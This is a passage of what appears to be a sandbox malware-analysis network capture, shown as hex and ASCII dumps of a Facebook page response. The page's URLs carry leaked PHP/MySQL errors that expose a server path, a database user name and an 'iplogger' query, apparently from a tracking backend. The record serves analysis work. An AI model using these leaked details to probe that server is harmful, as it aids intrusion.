74 3b 77 77 77 5f 6c 69 73 74 Data Ascii: r=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list
2022-10-08 09:35:55 UTC	761	IN	Data Raw: 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 Data Ascii: m%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUti
2022-10-08 09:35:55 UTC	763	IN	Data Raw: 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e Data Ascii: 002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on
2022-10-08 09:35:55 UTC	764	IN	Data Raw: 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 Data Ascii: eemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20Y
2022-10-08 09:35:55 UTC	766	IN	Data Raw: 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 Data Ascii: 002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u002
2022-10-08 09:35:55 UTC	767	IN	Data Raw: 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 66 66 30 30 30 30 5c 75 30 30 Data Ascii: select\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='WYWDIG~1'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u00
2022-10-08 09:35:55 UTC	768	IN	Data Raw: 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 Data Ascii: Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20li
2022-10-08 09:35:55 UTC	770	IN	Data Raw: 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 Data Ascii: 002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u00
2022-10-08 09:35:55 UTC	771	IN	Data Raw: 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 Data Ascii: /b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%2
2022-10-08 09:35:55 UTC	773	IN	Data Raw: 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c Data Ascii: 02520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\
2022-10-08 09:35:55 UTC	774	IN	Data Raw: 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c Data Ascii: 5\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\
2022-10-08 09:35:55 UTC	776	IN	Data Raw: 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 Data Ascii: uery()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%2
2022-10-08 09:35:55 UTC	777	IN	Data Raw: 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c Data Ascii: 9;dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\
2022-10-08 09:35:55 UTC	779	IN	Data Raw: 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 38 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 48 69 6e 64 69 22 3e e0 a4 b9 e0 a4 bf e0 a4 a8 e0 a5 8d e0 a4 a6 e0 a5 80 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 Data Ascii: 253C\/font\u00253E", "www_list_selector", 8); return false;" title="Hindi"></a></li><li><a class="_sv4" dir="ltr" href="https://zh-cn.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20my
2022-10-08 09:35:55 UTC	780	IN	Data Raw: 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 7a 68 5f 43 4e 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 7a 68 2d 63 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 Data Ascii: require("IntlUtils").setCookieLocale("zh_CN", "en_US", "https:\/\/zh-cn.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u00252
2022-10-08 09:35:55 UTC	782	IN	Data Raw: 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 Data Ascii: \/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u
2022-10-08 09:35:55 UTC	783	IN	Data Raw: 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 32 30 6f 6e 25 32 35 32 30 6c 69 6e 65 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 34 37 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 57 61 72 6e 69 6e 67 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 33 41 25 32 35 32 30 25 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 25 32 38 25 32 39 25 33 41 25 32 35 32 30 41 63 63 65 73 73 25 32 35 32 30 64 65 6e 69 65 64 25 32 35 32 30 66 6f 72 25 32 35 32 30 75 73 65 72 25 32 35 32 30 25 32 37 64 62 6e 65 77 30 31 25 32 37 25 34 30 25 32 37 6c 6f 63 61 6c 68 6f 73 74 Data Ascii: 53C%2Fb%253E%2520on%2520line%2520%253Cb%253E47%253C%2Fb%253E%250A%253Cbr%2520%2F%253E%250A%253Cbr%2520%2F%253E%250A%253Cb%253EWarning%253C%2Fb%253E%3A%2520%2520mysql_pconnect%28%29%3A%2520Access%2520denied%2520for%2520user%2520%27dbnew01%27%40%27localhost
2022-10-08 09:35:55 UTC	785	IN	Data Raw: 33 73 20 73 78 5f 32 63 66 61 37 64 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 43 75 72 76 65 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 70 61 67 65 46 6f 6f 74 65 72 43 68 69 6c 64 72 65 6e 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 46 61 63 65 62 6f 6f 6b 20 73 69 74 65 20 6c 69 6e 6b 73 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 75 69 4c 69 73 74 20 70 61 67 65 46 6f 6f 74 65 72 4c 69 6e 6b 4c 69 73 74 20 5f 35 30 39 2d 20 5f 34 6b 69 20 5f 37 30 33 20 5f 36 2d 69 22 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 72 65 67 2f 22 20 74 69 74 6c 65 3d 22 53 69 67 6e 20 55 70 20 66 6f 72 20 46 61 63 65 62 6f 6f 6b 22 3e 53 69 67 6e 20 Data Ascii: 3s sx_2cfa7d"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links"><ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i"><li><a href="/reg/" title="Sign Up for Facebook">Sign
2022-10-08 09:35:55 UTC	786	IN	Data Raw: 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6c 6c 65 74 69 6e 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 42 75 6c 6c 65 74 69 6e 20 4e 65 77 73 6c 65 74 74 65 72 22 3e 42 75 6c 6c 65 74 69 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 63 61 6c 2f 6c 69 73 74 73 2f 32 34 35 30 31 39 38 37 32 36 36 36 31 30 34 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 4c 6f 63 61 6c 20 4c 69 73 74 73 20 64 69 72 65 63 74 6f 72 79 2e 22 3e 4c 6f 63 61 6c 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 66 75 6e 64 72 61 69 73 65 72 73 2f 22 20 74 69 74 6c 65 3d 22 44 6f 6e 61 74 65 20 74 6f 0d 0a Data Ascii: ref="https://www.bulletin.com/" title="Check out Bulletin Newsletter">Bulletin</a></li><li><a href="/local/lists/245019872666104/" title="Browse our Local Lists directory.">Local</a></li><li><a href="/fundraisers/" title="Donate to
2022-10-08 09:35:55 UTC	786	IN	Data Raw: 36 64 62 33 0d 0a 20 77 6f 72 74 68 79 20 63 61 75 73 65 73 2e 22 3e 46 75 6e 64 72 61 69 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 62 69 7a 2f 64 69 72 65 63 74 6f 72 79 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 53 65 72 76 69 63 65 73 20 64 69 72 65 63 74 6f 72 79 2e 22 3e 53 65 72 76 69 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 76 6f 74 69 6e 67 69 6e 66 6f 72 6d 61 74 69 6f 6e 63 65 6e 74 65 72 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 63 32 6c 30 5a 51 25 33 44 25 33 44 22 20 74 69 74 6c 65 3d 22 53 65 65 20 74 68 65 20 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 2e 22 3e 56 6f 74 69 6e 67 20 49 6e Data Ascii: 6db3 worthy causes.">Fundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting In
2022-10-08 09:35:55 UTC	788	IN	Data Raw: 65 77 20 6f 75 72 20 74 65 72 6d 73 20 61 6e 64 20 70 6f 6c 69 63 69 65 73 2e 22 3e 54 65 72 6d 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 68 65 6c 70 2f 3f 72 65 66 3d 70 66 22 20 61 63 63 65 73 73 6b 65 79 3d 22 30 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 48 65 6c 70 20 43 65 6e 74 65 72 2e 22 3e 48 65 6c 70 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 65 6c 70 2f 36 33 37 32 30 35 30 32 30 38 37 38 35 30 34 22 20 74 69 74 6c 65 3d 22 56 69 73 69 74 20 6f 75 72 20 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 20 4e 6f 74 69 63 65 2e 22 3e 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 Data Ascii: ew our terms and policies.">Terms</a></li><li><a href="/help/?ref=pf" accesskey="0" title="Visit our Help Center.">Help</a></li><li><a href="help/637205020878504" title="Visit our Contact Uploading & Non-Users Notice.">Contact Uploading & Non-User
